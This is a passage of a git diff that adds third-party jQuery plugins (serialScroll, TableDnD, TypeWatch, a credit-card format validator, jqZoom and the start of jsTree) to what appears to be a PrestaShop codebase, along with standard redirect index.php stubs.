end of file diff --git a/js/jquery/plugins/jquery.serialScroll.js b/js/jquery/plugins/jquery.serialScroll.js new file mode 100755 index 0000000..d716124 --- /dev/null +++ b/js/jquery/plugins/jquery.serialScroll.js @@ -0,0 +1,10 @@ +/* + * jQuery.SerialScroll - Animated scrolling of series + * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com + * Dual licensed under MIT and GPL. + * Date: 06/14/2009 + * @author Ariel Flesler + * @version 1.2.2 + * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html + */ +;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:"x",event:"click",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind("prev.serialScroll",-i,q).bind("next.serialScroll",i,q).bind("goto.serialScroll",f)}if(g){u.bind("start.serialScroll",function(v){if(!g){o();g=!0;n()}}).bind("stop.serialScroll",function(){o();g=!1})}u.bind("notify.serialScroll",function(x,w){var v=j(w);if(v>-1){h=v}});p.ssbound=!0;if(t.jump){(r?u:d()).bind(s,function(v){f(v,j(v.target))})}if(k){k=a(k,e).bind(s,function(v){v.data=Math.round(d().length/k.length)*k.index(this);f(v,this)})}function q(v){v.data+=h;f(v,this)}function f(B,z){if(!isNaN(z)){B.data=z;z=p}var C=B.data,v,D=B.type,A=t.exclude?d().slice(0,-t.exclude):d(),y=A.length,w=A[C],x=t.duration;if(D){B.preventDefault()}if(g){o();l=setTimeout(n,t.interval)}if(!w){v=C<0?0:y-1;if(h!=v){C=v}else{if(!t.cycle){return}else{C=y-v-1}}w=A[C]}if(!w||t.lock&&u.is(":animated")||D&&t.onBefore&&t.onBefore(B,w,u,d(),C)===!1){return}if(t.stop){u.queue("fx",[]).stop()}if(t.constant){x=Math.abs(x/i*(h-C))}u.scrollTo(w,x,t).trigger("notify.serialScroll",[C])}function n(){u.trigger("next.serialScroll")}function o(){clearTimeout(l)}function d(){return a(m,p)}function j(w){if(!isNaN(w)){return w}var x=d(),v;while((v=x.index(w))==-1&&w!=p){w=w.parentNode}return v}})}})(jQuery); \ No newline at end of file diff --git a/js/jquery/plugins/jquery.tablednd.js b/js/jquery/plugins/jquery.tablednd.js new file mode 100755 index 0000000..54e5847 --- /dev/null +++ b/js/jquery/plugins/jquery.tablednd.js @@ -0,0 +1,308 @@ +/** + * TableDnD plug-in for JQuery, allows you to drag and drop table rows + * Copyright (c) Denis Howlett + * Licensed like jQuery, see http://docs.jquery.com/License. +*/ +jQuery.tableDnD = { + /** Keep hold of the current table being dragged */ + currentTable : null, + /** Keep hold of the current drag object if any */ + dragObject: null, + /** The current mouse offset */ + mouseOffset: null, + /** Remember the old value of Y so that we don't do too much processing */ + oldY: 0, + + /** Actually build the structure */ + build: function(options) { + // Set up the defaults if any + + this.each(function() { + // This is bound to each matching table, set up the defaults and override with user options + this.tableDnDConfig = jQuery.extend({ + onDragStyle: null, + onDropStyle: null, + // Add in the default class for whileDragging + onDragClass: "tDnD_whileDrag", + onDrop: null, + onDragStart: null, + scrollAmount: 5, + serializeRegexp: /[^\-]*$/, // The regular expression to use to trim row IDs + serializeParamName: null, // If you want to specify another parameter name instead of the table ID + dragHandle: null // If you give the name of a class here, then only Cells with this class will be draggable + }, options || {}); + // Now make the rows draggable + jQuery.tableDnD.makeDraggable(this); + }); + + // Now we need to capture the mouse up and mouse move event + // We can use bind so that we don't interfere with other event handlers + jQuery(document) + .bind('mousemove', jQuery.tableDnD.mousemove) + .bind('mouseup', jQuery.tableDnD.mouseup); + + // Don't break the chain + return this; + }, + + /** This function makes all the rows on the table draggable apart from those marked as "NoDrag" */ + makeDraggable: function(table) { + var config = table.tableDnDConfig; + if (table.tableDnDConfig.dragHandle) { + // We only need to add the event to the specified cells + var cells = jQuery("td."+table.tableDnDConfig.dragHandle, table); + cells.each(function() { + // The cell is bound to "this" + jQuery(this).mousedown(function(ev) { + jQuery.tableDnD.dragObject = this.parentNode; + jQuery.tableDnD.currentTable = table; + jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); + if (config.onDragStart) { + // Call the onDrop method if there is one + config.onDragStart(table, this); + } + return false; + }); + }) + } else { + // For backwards compatibility, we add the event to the whole row + var rows = jQuery("tbody tr", table); // get all the rows as a wrapped set + rows.each(function() { + // Iterate through each row, the row is bound to "this" + var row = jQuery(this); + if (! row.hasClass("nodrag")) { + row.mousedown(function(ev) { + if (ev.target.tagName == "TD") { + jQuery.tableDnD.dragObject = this; + jQuery.tableDnD.currentTable = table; + jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); + if (config.onDragStart) { + // Call the onDrop method if there is one + config.onDragStart(table, this); + } + return false; + } + }).css("cursor", "move"); // Store the tableDnD object + } + }); + } + }, + + updateTables: function() { + this.each(function() { + // this is now bound to each matching table + if (this.tableDnDConfig) { + jQuery.tableDnD.makeDraggable(this); + } + }) + }, + + /** Get the mouse coordinates from the event (allowing for browser differences) */ + mouseCoords: function(ev){ + if(ev.pageX || ev.pageY){ + return {x:ev.pageX, y:ev.pageY}; + } + return { + x:ev.clientX + document.body.scrollLeft - document.body.clientLeft, + y:ev.clientY + document.body.scrollTop - document.body.clientTop + }; + }, + + /** Given a target element and a mouse event, get the mouse offset from that element. + To do this we need the element's position and the mouse position */ + getMouseOffset: function(target, ev) { + ev = ev || window.event; + + var docPos = this.getPosition(target); + var mousePos = this.mouseCoords(ev); + return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y}; + }, + + /** Get the position of an element by going up the DOM tree and adding up all the offsets */ + getPosition: function(e){ + var left = 0; + var top = 0; + /** Safari fix -- thanks to Luis Chato for this! */ + if (e.offsetHeight == 0) { + /** Safari 2 doesn't correctly grab the offsetTop of a table row + this is detailed here: + http://jacob.peargrove.com/blog/2006/technical/table-row-offsettop-bug-in-safari/ + the solution is likewise noted there, grab the offset of a table cell in the row - the firstChild. + note that firefox will return a text node as a first child, so designing a more thorough + solution may need to take that into account, for now this seems to work in firefox, safari, ie */ + e = e.firstChild; // a table cell + } + + while (e.offsetParent){ + left += e.offsetLeft; + top += e.offsetTop; + e = e.offsetParent; + } + + left += e.offsetLeft; + top += e.offsetTop; + + return {x:left, y:top}; + }, + + mousemove: function(ev) { + if (jQuery.tableDnD.dragObject == null) { + return; + } + + var dragObj = jQuery(jQuery.tableDnD.dragObject); + var config = jQuery.tableDnD.currentTable.tableDnDConfig; + var mousePos = jQuery.tableDnD.mouseCoords(ev); + var y = mousePos.y - jQuery.tableDnD.mouseOffset.y; + //auto scroll the window + var yOffset = window.pageYOffset; + if (document.all) { + // Windows version + //yOffset=document.body.scrollTop; + if (typeof document.compatMode != 'undefined' && + document.compatMode != 'BackCompat') { + yOffset = document.documentElement.scrollTop; + } + else if (typeof document.body != 'undefined') { + yOffset=document.body.scrollTop; + } + + } + + if (mousePos.y-yOffset < config.scrollAmount) { + window.scrollBy(0, -config.scrollAmount); + } else { + var windowHeight = window.innerHeight ? window.innerHeight + : document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight; + if (windowHeight-(mousePos.y-yOffset) < config.scrollAmount) { + window.scrollBy(0, config.scrollAmount); + } + } + + + if (y != jQuery.tableDnD.oldY) { + // work out if we're going up or down... + var movingDown = y > jQuery.tableDnD.oldY; + // update the old value + jQuery.tableDnD.oldY = y; + // update the style to show we're dragging + if (config.onDragClass) { + dragObj.addClass(config.onDragClass); + } else { + dragObj.css(config.onDragStyle); + } + // If we're over a row then move the dragged row to there so that the user sees the + // effect dynamically + var currentRow = jQuery.tableDnD.findDropTargetRow(dragObj, y); + if (currentRow) { + // TODO worry about what happens when there are multiple TBODIES + if (movingDown && jQuery.tableDnD.dragObject != currentRow) { + jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling); + } else if (! movingDown && jQuery.tableDnD.dragObject != currentRow) { + jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow); + } + } + } + + return false; + }, + + /** We're only worried about the y position really, because we can only move rows up and down */ + findDropTargetRow: function(draggedRow, y) { + var rows = jQuery.tableDnD.currentTable.rows; + for (var i=0; i rowY - rowHeight) && (y < (rowY + rowHeight))) { + // that's the row we're over + // If it's the same as the current row, ignore it + if (row == draggedRow) {return null;} + var config = jQuery.tableDnD.currentTable.tableDnDConfig; + if (config.onAllowDrop) { + if (config.onAllowDrop(draggedRow, row)) { + return row; + } else { + return null; + } + } else { + // If a row has nodrop class, then don't allow dropping (inspired by John Tarr and Famic) + var nodrop = jQuery(row).hasClass("nodrop"); + if (! nodrop) { + return row; + } else { + return null; + } + } + return row; + } + } + return null; + }, + + mouseup: function(e) { + if (jQuery.tableDnD.currentTable && jQuery.tableDnD.dragObject) { + var droppedRow = jQuery.tableDnD.dragObject; + var config = jQuery.tableDnD.currentTable.tableDnDConfig; + // If we have a dragObject, then we need to release it, + // The row will already have been moved to the right place so we just reset stuff + if (config.onDragClass) { + jQuery(droppedRow).removeClass(config.onDragClass); + } else { + jQuery(droppedRow).css(config.onDropStyle); + } + jQuery.tableDnD.dragObject = null; + if (config.onDrop) { + // Call the onDrop method if there is one + config.onDrop(jQuery.tableDnD.currentTable, droppedRow); + } + jQuery.tableDnD.currentTable = null; // let go of the table too + } + }, + + serialize: function() { + if (jQuery.tableDnD.currentTable) { + return jQuery.tableDnD.serializeTable(jQuery.tableDnD.currentTable); + } else { + return "Error: No Table id set, you need to set an id on your table and every row"; + } + }, + + serializeTable: function(table) { + var result = ""; + var tableId = table.id; + var rows = jQuery("tbody tr", table); + for (var i=0; i 0) result += "&"; + var rowId = rows[i].id; + if (rowId && rowId && table.tableDnDConfig && table.tableDnDConfig.serializeRegexp) { + rowId = rowId.match(table.tableDnDConfig.serializeRegexp)[0]; + } + + result += tableId + '[]=' + rowId; + } + return result; + }, + + serializeTables: function() { + var result = ""; + this.each(function() { + // this is now bound to each matching table + result += jQuery.tableDnD.serializeTable(this); + }); + return result; + } + +} +jQuery.fn.extend( + { + tableDnD : jQuery.tableDnD.build, + tableDnDUpdate : jQuery.tableDnD.updateTables, + tableDnDSerialize: jQuery.tableDnD.serializeTables + } +); \ No newline at end of file diff --git a/js/jquery/plugins/jquery.typewatch.js b/js/jquery/plugins/jquery.typewatch.js new file mode 100755 index 0000000..89a3ed6 --- /dev/null +++ b/js/jquery/plugins/jquery.typewatch.js @@ -0,0 +1,89 @@ +/* + * TypeWatch 2.0 - Original by Denny Ferrassoli / Refactored by Charles Christolini + * + * Examples/Docs: www.dennydotnet.com + * + * Copyright(c) 2007 Denny Ferrassoli - DennyDotNet.com + * Coprright(c) 2008 Charles Christolini - BinaryPie.com + * Modified by Lucas CHERIFI @ PrestaShop : now this plugin works with the Dean Edward's JS Packer + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html +*/ + +(function(jQuery) { + jQuery.fn.typeWatch = function(o){ + // Options + var options = jQuery.extend({ + wait : 750, + callback : function() { }, + highlight : true, + captureLength : 2 + }, o); + + function checkElement(timer, override) { + var elTxt = jQuery(timer.el).val(); + + // Fire if text > options.captureLength AND text != saved txt OR if override AND text > options.captureLength + if ((elTxt.length > options.captureLength && elTxt.toUpperCase() != timer.text) + || (override && elTxt.length > options.captureLength)) { + timer.text = elTxt.toUpperCase(); + timer.cb(elTxt); + } + }; + + function watchElement(elem) { + // Must be text or textarea + if (elem.type.toUpperCase() == "TEXT" || elem.nodeName.toUpperCase() == "TEXTAREA") { + + // Allocate timer element + var timer = { + timer : null, + text : jQuery(elem).val().toUpperCase(), + cb : options.callback, + el : elem, + wait : options.wait + }; + + // Set focus action (highlight) + if (options.highlight) { + jQuery(elem).focus( + function() { + this.select(); + }); + } + + // Key watcher / clear and reset the timer + var startWatch = function(evt) { + var timerWait = timer.wait; + var overrideBool = false; + + if (evt.keyCode == 13 && this.type.toUpperCase() == "TEXT") { + timerWait = 1; + overrideBool = true; + } + + var timerCallbackFx = function() + { + checkElement(timer, overrideBool); + } + + // Clear timer + clearTimeout(timer.timer); + timer.timer = setTimeout(timerCallbackFx, timerWait); + + }; + + jQuery(elem).keydown(startWatch); + } + }; + + // Watch Each Element + return this.each(function(index){ + watchElement(this); + }); + + }; + +})(jQuery); diff --git a/js/jquery/plugins/jquery.validate-creditcard.js b/js/jquery/plugins/jquery.validate-creditcard.js new file mode 100755 index 0000000..7c48c2a --- /dev/null +++ b/js/jquery/plugins/jquery.validate-creditcard.js @@ -0,0 +1,95 @@ +/* +* jQuery creditcard2 extension for the jQuery Validation plugin (http://plugins.jquery.com/project/validate). +* Ported from http://www.braemoor.co.uk/software/creditcard.shtml by John Gardner, with some enhancements. +* +* Author: Jack Killpatrick +* Copyright (c) 2010 iHwy, Inc. +* +* Version 1.0.1 (1/12/2010) +* Tested with jquery 1.2.6, but will probably work with earlier versions. +* +* History: +* 1.0.0 - released 2008-11-17 +* 1.0.1 - released 2010-01-12 -> updated card prefixes based on data at: http://en.wikipedia.org/wiki/Credit_card_number and added support for LaserCard +* +* Visit http://www.ihwy.com/labs/jquery-validate-credit-card-extension.aspx for usage information +* +* Dual licensed under the MIT and GPL licenses: +* http://www.opensource.org/licenses/mit-license.php +* http://www.gnu.org/licenses/gpl.html +*/ + +function validateCC(cardNo, cardName) +{ +//jQuery.validator.addMethod("creditcard2", function(value, element, param) { + var cards = new Array(); + cards[0] = { cardName: "Visa", lengths: "13,16", prefixes: "4", checkdigit: true }; + cards[1] = { cardName: "MasterCard", lengths: "16", prefixes: "51,52,53,54,55", checkdigit: true }; + cards[2] = { cardName: "DinersClub", lengths: "14,16", prefixes: "305,36,38,54,55", checkdigit: true }; + cards[3] = { cardName: "CarteBlanche", lengths: "14", prefixes: "300,301,302,303,304,305", checkdigit: true }; + cards[4] = { cardName: "AmEx", lengths: "15", prefixes: "34,37", checkdigit: true }; + cards[5] = { cardName: "Discover", lengths: "16", prefixes: "6011,622,64,65", checkdigit: true }; + cards[6] = { cardName: "JCB", lengths: "16", prefixes: "35", checkdigit: true }; + cards[7] = { cardName: "enRoute", lengths: "15", prefixes: "2014,2149", checkdigit: true }; + cards[8] = { cardName: "Solo", lengths: "16,18,19", prefixes: "6334, 6767", checkdigit: true }; + cards[9] = { cardName: "Switch", lengths: "16,18,19", prefixes: "4903,4905,4911,4936,564182,633110,6333,6759", checkdigit: true }; + cards[10] = { cardName: "Maestro", lengths: "12,13,14,15,16,18,19", prefixes: "5018,5020,5038,6304,6759,6761", checkdigit: true }; + cards[11] = { cardName: "VisaElectron", lengths: "16", prefixes: "417500,4917,4913,4508,4844", checkdigit: true }; + cards[12] = { cardName: "LaserCard", lengths: "16,17,18,19", prefixes: "6304,6706,6771,6709", checkdigit: true }; + + var cardType = -1; + for (var i = 0; i < cards.length; i++) { + if (cardName.toLowerCase() == cards[i].cardName.toLowerCase()) { + cardType = i; + break; + } + } + if (cardType == -1) { return false; } // card type not found + + cardNo = cardNo.replace(/[\s-]/g, ""); // remove spaces and dashes + if (cardNo.length == 0) { return false; } // no length + + var cardexp = /^[0-9]{13,19}$/; + if (!cardexp.exec(cardNo)) { return false; } // has chars or wrong length + + cardNo = cardNo.replace(/\D/g, ""); // strip down to digits + + if (cards[cardType].checkdigit) { + var checksum = 0; + var mychar = ""; + var j = 1; + + var calc; + for (i = cardNo.length - 1; i >= 0; i--) { + calc = Number(cardNo.charAt(i)) * j; + if (calc > 9) { + checksum = checksum + 1; + calc = calc - 10; + } + checksum = checksum + calc; + if (j == 1) { j = 2 } else { j = 1 }; + } + + if (checksum % 10 != 0) { return false; } // not mod10 + } + + var lengthValid = false; + var prefixValid = false; + var prefix = new Array(); + var lengths = new Array(); + + prefix = cards[cardType].prefixes.split(","); + for (i = 0; i < prefix.length; i++) { + var exp = new RegExp("^" + prefix[i]); + if (exp.test(cardNo)) prefixValid = true; + } + if (!prefixValid) { return false; } // invalid prefix + + lengths = cards[cardType].lengths.split(","); + for (j = 0; j < lengths.length; j++) { + if (cardNo.length == lengths[j]) lengthValid = true; + } + if (!lengthValid) { return false; } // wrong length + + return true; +} diff --git a/js/jquery/plugins/jqzoom/index.php b/js/jquery/plugins/jqzoom/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/plugins/jqzoom/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/jqzoom/jquery.jqzoom.css b/js/jquery/plugins/jqzoom/jquery.jqzoom.css new file mode 100755 index 0000000..1d5cdc9 --- /dev/null +++ b/js/jquery/plugins/jqzoom/jquery.jqzoom.css @@ -0,0 +1,21 @@ +div.zoomdiv { +z-index : 100; +position : absolute; +top:0px; +left:0px; +width : 200px; +height : 200px; +background: #ffffff; +border:1px solid #CCCCCC; +display:none; +text-align: center; +overflow: hidden; + +} + + +img.jqzoom{ +cursor:crosshair; +position:relative; + +} diff --git a/js/jquery/plugins/jqzoom/jquery.jqzoom.js b/js/jquery/plugins/jqzoom/jquery.jqzoom.js new file mode 100755 index 0000000..d74f8dc --- /dev/null +++ b/js/jquery/plugins/jqzoom/jquery.jqzoom.js @@ -0,0 +1,83 @@ +//************************************************************** +// jQZoom allows you to realize a small magnifier window,close +// to the image or images on your web page easily. +// +// jqZoom version 1.2 +// Author Doc. Ing. Renzi Marco(www.mind-projects.it) +// Released on Dec 05 2007 +// i'm searching for a job,pick me up!!! +// mail: renzi.mrc@gmail.com +//************************************************************** + +(function($) { + $.fn.jqueryzoom = function(options) { + var settings = { + xzoom: 200, //zoomed width default width + yzoom: 200, //zoomed div default width + offset: 10, //zoomed div default offset + position: "right" //zoomed div default position,offset position is to the right of the image + }; + + if(options) + $.extend(settings, options); + + var noalt =''; + + $(this).hover(function() { + var imageRelativeLeft = $(this).get(0).offsetLeft; + var imageLeft = $($(this).get(0)).offset().left; + var imageRelativeTop = $(this).get(0).offsetTop; + var imageTop = $($(this).get(0)).offset().top; + var imageWidth = $(this).get(0).offsetWidth; + var imageHeight = $(this).get(0).offsetHeight; + + attr = typeof($(this).attr("rel")) != 'undefined' ? "rel" : "alt"; + noalt = $(this).attr(attr); + var bigimage = noalt; + $(this).attr(attr, ''); + + if($("div.zoomdiv").get().length == 0) + $(this).after("
    "); + + if(settings.position == "right") + leftpos = imageRelativeLeft + imageWidth + settings.offset; + else + leftpos = imageRelativeLeft - settings.xzoom - settings.offset; + + $("div.zoomdiv").css({top: imageRelativeTop,left: leftpos}); + $("div.zoomdiv").width(settings.xzoom); + $("div.zoomdiv").height(settings.yzoom); + $("div.zoomdiv").show(); + + $(document.body).mousemove(function(e) { + var bigwidth = $(".bigimg").get(0).offsetWidth; + var bigheight = $(".bigimg").get(0).offsetHeight; + var scaley ='x'; + var scalex= 'y'; + + if(isNaN(scalex)|isNaN(scaley)) { + var scalex = Math.round(bigwidth/imageWidth) ; + var scaley = Math.round(bigheight/imageHeight); + } + + mouse = new MouseEvent(e); + + scrolly = mouse.y - imageTop - ($("div.zoomdiv").height()*1/scaley)/2 ; + $("div.zoomdiv").get(0).scrollTop = scrolly * scaley ; + scrollx = mouse.x - imageLeft - ($("div.zoomdiv").width()*1/scalex)/2 ; + $("div.zoomdiv").get(0).scrollLeft = (scrollx) * scalex ; + }); + }, function() { + $(this).attr(attr, noalt); + $("div.zoomdiv").hide(); + $(document.body).unbind("mousemove"); + $(".lenszoom").remove(); + $("div.zoomdiv").remove(); + }); + } +})(jQuery); + +function MouseEvent(e) { + this.x = e.pageX + this.y = e.pageY +} \ No newline at end of file diff --git a/js/jquery/plugins/jstree/index.php b/js/jquery/plugins/jstree/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/plugins/jstree/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/jstree/jquery.jstree.js b/js/jquery/plugins/jstree/jquery.jstree.js new file mode 100755 index 0000000..2f7618c --- /dev/null +++ b/js/jquery/plugins/jstree/jquery.jstree.js @@ -0,0 +1,4551 @@ +/* + * jsTree 1.0-rc3 + * http://jstree.com/ + * + * Copyright (c) 2010 Ivan Bozhanov (vakata.com) + * + * Licensed same as jquery - under the terms of either the MIT License or the GPL Version 2 License + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * + * $Date: 2011-02-09 01:17:14 +0200 (ÑÑ€, 09 февр 2011) $ + * $Revision: 236 $ + */ + +/*jslint browser: true, onevar: true, undef: true, bitwise: true, strict: true */ +/*global window : false, clearInterval: false, clearTimeout: false, document: false, setInterval: false, setTimeout: false, jQuery: false, navigator: false, XSLTProcessor: false, DOMParser: false, XMLSerializer: false*/ + +"use strict"; + +// top wrapper to prevent multiple inclusion (is this OK?) +(function () { if(jQuery && jQuery.jstree) { return; } + var is_ie6 = false, is_ie7 = false, is_ff2 = false; + +/* + * jsTree core + */ +(function ($) { + // Common functions not related to jsTree + // decided to move them to a `vakata` "namespace" + $.vakata = {}; + // CSS related functions + $.vakata.css = { + get_css : function(rule_name, delete_flag, sheet) { + rule_name = rule_name.toLowerCase(); + var css_rules = sheet.cssRules || sheet.rules, + j = 0; + do { + if(css_rules.length && j > css_rules.length + 5) { return false; } + if(css_rules[j].selectorText && css_rules[j].selectorText.toLowerCase() == rule_name) { + if(delete_flag === true) { + if(sheet.removeRule) { sheet.removeRule(j); } + if(sheet.deleteRule) { sheet.deleteRule(j); } + return true; + } + else { return css_rules[j]; } + } + } + while (css_rules[++j]); + return false; + }, + add_css : function(rule_name, sheet) { + if($.jstree.css.get_css(rule_name, false, sheet)) { return false; } + if(sheet.insertRule) { sheet.insertRule(rule_name + ' { }', 0); } else { sheet.addRule(rule_name, null, 0); } + return $.vakata.css.get_css(rule_name); + }, + remove_css : function(rule_name, sheet) { + return $.vakata.css.get_css(rule_name, true, sheet); + }, + add_sheet : function(opts) { + var tmp = false, is_new = true; + if(opts.str) { + if(opts.title) { tmp = $("style[id='" + opts.title + "-stylesheet']")[0]; } + if(tmp) { is_new = false; } + else { + tmp = document.createElement("style"); + tmp.setAttribute('type',"text/css"); + if(opts.title) { tmp.setAttribute("id", opts.title + "-stylesheet"); } + } + if(tmp.styleSheet) { + if(is_new) { + document.getElementsByTagName("head")[0].appendChild(tmp); + tmp.styleSheet.cssText = opts.str; + } + else { + tmp.styleSheet.cssText = tmp.styleSheet.cssText + " " + opts.str; + } + } + else { + tmp.appendChild(document.createTextNode(opts.str)); + document.getElementsByTagName("head")[0].appendChild(tmp); + } + return tmp.sheet || tmp.styleSheet; + } + if(opts.url) { + if(document.createStyleSheet) { + try { tmp = document.createStyleSheet(opts.url); } catch (e) { } + } + else { + tmp = document.createElement('link'); + tmp.rel = 'stylesheet'; + tmp.type = 'text/css'; + tmp.media = "all"; + tmp.href = opts.url; + document.getElementsByTagName("head")[0].appendChild(tmp); + return tmp.styleSheet; + } + } + } + }; + + // private variables + var instances = [], // instance array (used by $.jstree.reference/create/focused) + focused_instance = -1, // the index in the instance array of the currently focused instance + plugins = {}, // list of included plugins + prepared_move = {}; // for the move_node function + + // jQuery plugin wrapper (thanks to jquery UI widget function) + $.fn.jstree = function (settings) { + var isMethodCall = (typeof settings == 'string'), // is this a method call like $().jstree("open_node") + args = Array.prototype.slice.call(arguments, 1), + returnValue = this; + + // if a method call execute the method on all selected instances + if(isMethodCall) { + if(settings.substring(0, 1) == '_') { return returnValue; } + this.each(function() { + var instance = instances[$.data(this, "jstree_instance_id")], + methodValue = (instance && $.isFunction(instance[settings])) ? instance[settings].apply(instance, args) : instance; + if(typeof methodValue !== "undefined" && (settings.indexOf("is_") === 0 || (methodValue !== true && methodValue !== false))) { returnValue = methodValue; return false; } + }); + } + else { + this.each(function() { + // extend settings and allow for multiple hashes and $.data + var instance_id = $.data(this, "jstree_instance_id"), + a = [], + b = settings ? $.extend({}, true, settings) : {}, + c = $(this), + s = false, + t = []; + a = a.concat(args); + if(c.data("jstree")) { a.push(c.data("jstree")); } + b = a.length ? $.extend.apply(null, [true, b].concat(a)) : b; + + // if an instance already exists, destroy it first + if(typeof instance_id !== "undefined" && instances[instance_id]) { instances[instance_id].destroy(); } + // push a new empty object to the instances array + instance_id = parseInt(instances.push({}),10) - 1; + // store the jstree instance id to the container element + $.data(this, "jstree_instance_id", instance_id); + // clean up all plugins + b.plugins = $.isArray(b.plugins) ? b.plugins : $.jstree.defaults.plugins.slice(); + b.plugins.unshift("core"); + // only unique plugins + b.plugins = b.plugins.sort().join(",,").replace(/(,|^)([^,]+)(,,\2)+(,|$)/g,"$1$2$4").replace(/,,+/g,",").replace(/,$/,"").split(","); + + // extend defaults with passed data + s = $.extend(true, {}, $.jstree.defaults, b); + s.plugins = b.plugins; + $.each(plugins, function (i, val) { + if($.inArray(i, s.plugins) === -1) { s[i] = null; delete s[i]; } + else { t.push(i); } + }); + s.plugins = t; + + // push the new object to the instances array (at the same time set the default classes to the container) and init + instances[instance_id] = new $.jstree._instance(instance_id, $(this).addClass("jstree jstree-" + instance_id), s); + // init all activated plugins for this instance + $.each(instances[instance_id]._get_settings().plugins, function (i, val) { instances[instance_id].data[val] = {}; }); + $.each(instances[instance_id]._get_settings().plugins, function (i, val) { if(plugins[val]) { plugins[val].__init.apply(instances[instance_id]); } }); + // initialize the instance + setTimeout(function() { if(instances[instance_id]) { instances[instance_id].init(); } }, 0); + }); + } + // return the jquery selection (or if it was a method call that returned a value - the returned value) + return returnValue; + }; + // object to store exposed functions and objects + $.jstree = { + defaults : { + plugins : [] + }, + _focused : function () { return instances[focused_instance] || null; }, + _reference : function (needle) { + // get by instance id + if(instances[needle]) { return instances[needle]; } + // get by DOM (if still no luck - return null + var o = $(needle); + if(!o.length && typeof needle === "string") { o = $("#" + needle); } + if(!o.length) { return null; } + return instances[o.closest(".jstree").data("jstree_instance_id")] || null; + }, + _instance : function (index, container, settings) { + // for plugins to store data in + this.data = { core : {} }; + this.get_settings = function () { return $.extend(true, {}, settings); }; + this._get_settings = function () { return settings; }; + this.get_index = function () { return index; }; + this.get_container = function () { return container; }; + this.get_container_ul = function () { return container.children("ul:eq(0)"); }; + this._set_settings = function (s) { + settings = $.extend(true, {}, settings, s); + }; + }, + _fn : { }, + plugin : function (pname, pdata) { + pdata = $.extend({}, { + __init : $.noop, + __destroy : $.noop, + _fn : {}, + defaults : false + }, pdata); + plugins[pname] = pdata; + + $.jstree.defaults[pname] = pdata.defaults; + $.each(pdata._fn, function (i, val) { + val.plugin = pname; + val.old = $.jstree._fn[i]; + $.jstree._fn[i] = function () { + var rslt, + func = val, + args = Array.prototype.slice.call(arguments), + evnt = new $.Event("before.jstree"), + rlbk = false; + + if(this.data.core.locked === true && i !== "unlock" && i !== "is_locked") { return; } + + // Check if function belongs to the included plugins of this instance + do { + if(func && func.plugin && $.inArray(func.plugin, this._get_settings().plugins) !== -1) { break; } + func = func.old; + } while(func); + if(!func) { return; } + + // context and function to trigger events, then finally call the function + if(i.indexOf("_") === 0) { + rslt = func.apply(this, args); + } + else { + rslt = this.get_container().triggerHandler(evnt, { "func" : i, "inst" : this, "args" : args, "plugin" : func.plugin }); + if(rslt === false) { return; } + if(typeof rslt !== "undefined") { args = rslt; } + + rslt = func.apply( + $.extend({}, this, { + __callback : function (data) { + this.get_container().triggerHandler( i + '.jstree', { "inst" : this, "args" : args, "rslt" : data, "rlbk" : rlbk }); + }, + __rollback : function () { + rlbk = this.get_rollback(); + return rlbk; + }, + __call_old : function (replace_arguments) { + return func.old.apply(this, (replace_arguments ? Array.prototype.slice.call(arguments, 1) : args ) ); + } + }), args); + } + + // return the result + return rslt; + }; + $.jstree._fn[i].old = val.old; + $.jstree._fn[i].plugin = pname; + }); + }, + rollback : function (rb) { + if(rb) { + if(!$.isArray(rb)) { rb = [ rb ]; } + $.each(rb, function (i, val) { + instances[val.i].set_rollback(val.h, val.d); + }); + } + } + }; + // set the prototype for all instances + $.jstree._fn = $.jstree._instance.prototype = {}; + + // load the css when DOM is ready + $(function() { + // code is copied from jQuery ($.browser is deprecated + there is a bug in IE) + var u = navigator.userAgent.toLowerCase(), + v = (u.match( /.+?(?:rv|it|ra|ie)[\/: ]([\d.]+)/ ) || [0,'0'])[1], + css_string = '' + + '.jstree ul, .jstree li { display:block; margin:0 0 0 0; padding:0 0 0 0; list-style-type:none; } ' + + '.jstree li { display:block; min-height:18px; line-height:18px; white-space:nowrap; margin-left:18px; 